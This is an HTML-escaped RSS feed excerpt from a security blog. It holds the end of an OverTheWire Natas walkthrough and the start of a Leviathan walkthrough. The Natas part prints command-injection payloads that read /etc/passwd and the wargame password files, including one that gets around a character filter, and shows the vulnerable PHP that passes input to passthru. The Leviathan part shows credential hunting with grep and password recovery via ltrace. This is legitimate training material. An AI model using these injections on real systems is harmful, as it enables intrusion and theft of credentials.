&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; &#x2F;etc&#x2F;passwd&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; this payload outputs the natas 10 password in addition to dictionary.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; &#x2F;etc&#x2F;natas_webpass&#x2F;natas10&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; this outputs ONLY the natas 10 password&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; The trailing &amp;#39;#&amp;#39; marks the remainder of the line as a comment&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; which prevents the dictionary.txt from being output&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; &#x2F;etc&#x2F;natas_webpass&#x2F;natas10&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; #&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Using &lt;code&gt;;cat &#x2F;etc&#x2F;natas_webpass&#x2F;natas10 #&lt;&#x2F;code&gt; as a payload returns the contents of
the &lt;code&gt;natas10&lt;&#x2F;code&gt; password file.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;9_password.png&quot; alt=&quot;level 9 password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;This type of attack falls under the
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;owasp.org&#x2F;Top10&#x2F;A03_2021-Injection&#x2F;&quot;&gt;Injection&lt;&#x2F;a&gt; category of the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;owasp.org&#x2F;www-project-top-ten&#x2F;&quot;&gt;OWASP
Top 10 (2021)&lt;&#x2F;a&gt;. Specifically it’s a
command injection vulnerability and is a concern whenever user input is passed
to an execution environment such as Bash as it’s done in this level.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-10&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-10&quot; aria-label=&quot;Anchor link for: level-10&quot;&gt;Level 10&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;The front page for level 10 is the same as &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirenatas&#x2F;#level-9&quot;&gt;level 9&lt;&#x2F;a&gt; with some slight
changes in the source code.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;?&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;array_key_exists&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;needle&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;_REQUEST&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;    $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;_REQUEST&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;needle&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;preg_match&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #B98D7B);&quot;&gt;;|&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Input contains an illegal character!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;    }&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; else&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;        passthru&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;grep -i &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; dictionary.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In this iteration of the word search form, a call to
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.php.net&#x2F;manual&#x2F;en&#x2F;function.preg-match.php&quot;&gt;&lt;code&gt;preg_match&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; is used
to catch the &lt;code&gt;;&lt;&#x2F;code&gt;, &lt;code&gt;|&lt;&#x2F;code&gt;, and &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; symbols, so it won’t be possible to simply
prefix the command with &lt;code&gt;;&lt;&#x2F;code&gt; like we did before.&lt;&#x2F;p&gt;
&lt;p&gt;Fortunately for us, this was a naive approach to sanitize inputs. The search
input is still passed into the &lt;code&gt;grep&lt;&#x2F;code&gt; command which can take multiple
arguments. So files can still be searched even if they can’t be directly output
with the &lt;code&gt;cat&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;p&gt;This payload should do the trick: &lt;code&gt;&quot;.*&quot; &#x2F;etc&#x2F;natas_webpass&#x2F;natas11 #&lt;&#x2F;code&gt;. It makes
the &lt;code&gt;grep&lt;&#x2F;code&gt; command return every line in the &lt;code&gt;natas11&lt;&#x2F;code&gt; password file and
comments out the &lt;code&gt;dictionary.txt&lt;&#x2F;code&gt; argument with &lt;code&gt;#&lt;&#x2F;code&gt; just like in &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirenatas&#x2F;#level-9&quot;&gt;level
9&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;10_password.png&quot; alt=&quot;level 10 password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;to-be-continued&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#to-be-continued&quot; aria-label=&quot;Anchor link for: to-be-continued&quot;&gt;To be continued&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;I hope you enjoyed the walkthrough. When time permits, I intend to expand this
post to include every level of OverTheWire Natas.&lt;&#x2F;p&gt;
&lt;p&gt;Happy hacking!&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn-1&quot;&gt;
&lt;p&gt;See my writeups for the OverTheWire &lt;a href=&quot;&#x2F;blog&#x2F;overthewirebandit&quot;&gt;Bandit&lt;&#x2F;a&gt; and
&lt;a href=&quot;&#x2F;blog&#x2F;overthewireleviathan&quot;&gt;Leviathan&lt;&#x2F;a&gt; wargames. &lt;a href=&quot;#fr-1-1&quot;&gt;↩&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li id=&quot;fn-2&quot;&gt;
&lt;p&gt;A relatively high-profile example of this sort of data disclosure
occurred in 2021 where over 100,000 teachers’ Social Security numbers
were accessible by simply viewing the page source of a site hosted by the
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;dese.mo.gov&quot;&gt;Missouri Department of Elementary and Secondary
Education&lt;&#x2F;a&gt;. See this &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;techcrunch.com&#x2F;2021&#x2F;10&#x2F;15&#x2F;f12-isnt-hacking-missouri-governor-threatens-to-prosecute-local-journalist-for-finding-exposed-state-data&#x2F;&quot;&gt;TechCrunch
article&lt;&#x2F;a&gt;
for more details. &lt;a href=&quot;#fr-2-1&quot;&gt;↩&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li id=&quot;fn-3&quot;&gt;
&lt;p&gt;Not &lt;strong&gt;every&lt;&#x2F;strong&gt; request made by a browser is strictly over HTTP or HTTPS,
but it is the most common and is the only protocol that’s essential to
understand for the Natas wargame. &lt;a href=&quot;#fr-3-1&quot;&gt;↩&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li id=&quot;fn-4&quot;&gt;
&lt;p&gt;Yes, the correct spelling should be “Referrer”, however the header was
misspelled in the original HTTP specification &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.rfc-editor.org&#x2F;rfc&#x2F;rfc1945#section-10.13&quot;&gt;RFC
1945&lt;&#x2F;a&gt;, so it continues to
be misspelled for backwards compatibility. &lt;a href=&quot;#fr-4-1&quot;&gt;↩&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;section&gt;
</description>
      </item>
      <item>
          <title>OverTheWire - Leviathan</title>
          <pubDate>Sun, 24 Nov 2024 00:00:00 +0000</pubDate>
          <author>Cameron Blankenbuehler</author>
          <link>https://www.cblanken.dev/blog/overthewireleviathan/</link>
          <guid>https://www.cblanken.dev/blog/overthewireleviathan/</guid>
          <description xml:base="https://www.cblanken.dev/blog/overthewireleviathan/">&lt;h2 id=&quot;introduction&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#introduction&quot; aria-label=&quot;Anchor link for: introduction&quot;&gt;Introduction&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;overthewire.org&#x2F;wargames&#x2F;leviathan&#x2F;&quot;&gt;Leviathan&lt;&#x2F;a&gt; is another
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Wargame_(hacking)&quot;&gt;wargame&lt;&#x2F;a&gt; available at
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;overthewire.org&#x2F;&quot;&gt;overthewire.org&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In this walkthrough I’m going to show the process for solving each challenge
while also providing some insight into what each challenge is trying to teach
and why it’s useful. Keep an eye out for callouts like those below.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;Access to each level is made over SSH. The username will correspond to the
index of the level starting at 0. Always make sure you’re logging into the
correct level!&lt;&#x2F;p&gt;
&lt;p&gt;If you’re new to CTFs and wargames you may want to check out the &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;&quot;&gt;Bandit
wargame walkthrough&lt;&#x2F;a&gt; first.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;None of the Leviathan levels have any additional descriptions. Presumably,
since they’re relatively simple, any hints would probably give away the
solution. Instead you’re dropped into a regular user session after login with
the task of identifying any important files available to that user and using
them to find the password to the next level.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;walkthrough&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#walkthrough&quot; aria-label=&quot;Anchor link for: walkthrough&quot;&gt;Walkthrough&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;level-0&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-0&quot; aria-label=&quot;Anchor link for: level-0&quot;&gt;Level 0&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;To start, there only appears to be a few hidden dotfiles in the home directory.
&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;0_ls.png&quot; alt=&quot;level 0 ls&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The only atypical thing here is the &lt;code&gt;~&#x2F;.backup&lt;&#x2F;code&gt; directory which contains a
&lt;code&gt;bookmarks.html&lt;&#x2F;code&gt; file.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;solution&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#solution&quot; aria-label=&quot;Anchor link for: solution&quot;&gt;Solution&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;It’s certainly possible to manually read through the bookmarks for anything
interesting, but &lt;code&gt;grep&lt;&#x2F;code&gt; can be utilized to search for some keywords which might
be useful. For example, “password” or “flag”.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;0_flag.png&quot; alt=&quot;level 0 flag&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;This example is a bit contrived for the sake of the wargame, but this is a
common tactic used by attackers. Searching a user’s files with &lt;code&gt;grep&lt;&#x2F;code&gt; for
things like usernames, passwords, bank or credit card details, and any other
kind of sensitive information is one of the first things an attacker might do
once they’ve compromised a user’s account.&lt;&#x2F;p&gt;
&lt;p&gt;It should go without saying that you should never store any passwords or other
sensitive information in plain text files if it can be avoided. Ideally use a
password manager with secure encryption to store any digital account details.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-1&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-1&quot; aria-label=&quot;Anchor link for: level-1&quot;&gt;Level 1&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;1_ls.png&quot; alt=&quot;level 1 ls&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This level presents us with a &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Setuid&quot;&gt;setuid&lt;&#x2F;a&gt;
binary. On some systems this is evident by the red background color, but to
verify, you just need to check the file permissions with &lt;code&gt;ls -l&lt;&#x2F;code&gt;. There will be
an &lt;code&gt;s&lt;&#x2F;code&gt; in place of the typical &lt;code&gt;x&lt;&#x2F;code&gt; for the user level execution permissions.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;1_setuid.png&quot; alt=&quot;level 1 setuid&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;1_run_check.png&quot; alt=&quot;level 1 run check&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After running it with an input of &lt;code&gt;abc&lt;&#x2F;code&gt;, it’s clear from the output that the
input is being checked against some password string for correctness.&lt;&#x2F;p&gt;
&lt;p&gt;We can do some preliminary analysis of the binary’s execution with the
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;ltrace.1.html&quot;&gt;&lt;code&gt;ltrace&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; program
which will record the C level dynamic library function calls made by &lt;code&gt;check&lt;&#x2F;code&gt;.
This includes common standard library functions like
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man3&#x2F;strcmp.3.html&quot;&gt;&lt;code&gt;strcmp&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;solution-1&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#solution-1&quot; aria-label=&quot;Anchor link for: solution-1&quot;&gt;Solution&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;1_solve_check.png&quot; alt=&quot;level 1 solve check&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;From the output of the above &lt;code&gt;ltrace&lt;&#x2F;code&gt;, we can see the parameters passed to the
&lt;code&gt;strcmp&lt;&#x2F;code&gt; function call. The first is our test password, and the second is the
target password that &lt;code&gt;check&lt;&#x2F;code&gt; is using to verify the input.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;The &lt;code&gt;ltrace&lt;&#x2F;code&gt; program can be quite useful to perform some initial analysis of a
binary’s execution before transitioning to more advanced tools like the &lt;code&gt;gdb&lt;&#x2F;code&gt;
debugger.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-2&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-2&quot; aria-label=&quot;Anchor link for: level-2&quot;&gt;Level 2&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Here’s another &lt;code&gt;setuid&lt;&#x2F;code&gt; binary.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;2_ls.png&quot; alt=&quot;level 2 ls&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Executing prints from usage information to the console.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;2_run_printfile.png&quot; alt=&quot;level 2 run printfile&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Following the usage description, a file path may be passed as an argument and
be printed to the console.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;2_try_print_password.png&quot; alt=&quot;level 2 run printfile&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Unfortunately, printing the &lt;code&gt;level3&lt;&#x2F;code&gt; password file isn’t allowed.&lt;&#x2F;p&gt;
&lt;p&gt;To investigate, let’s use the &lt;code&gt;ltrace&lt;&#x2F;code&gt; command again.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;2_ltrace.png&quot; alt=&quot;level 2 run printfile&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;ltrace&lt;&#x2F;code&gt; output shows calls to
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man3&#x2F;access.3p.html&quot;&gt;&lt;code&gt;access&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;,
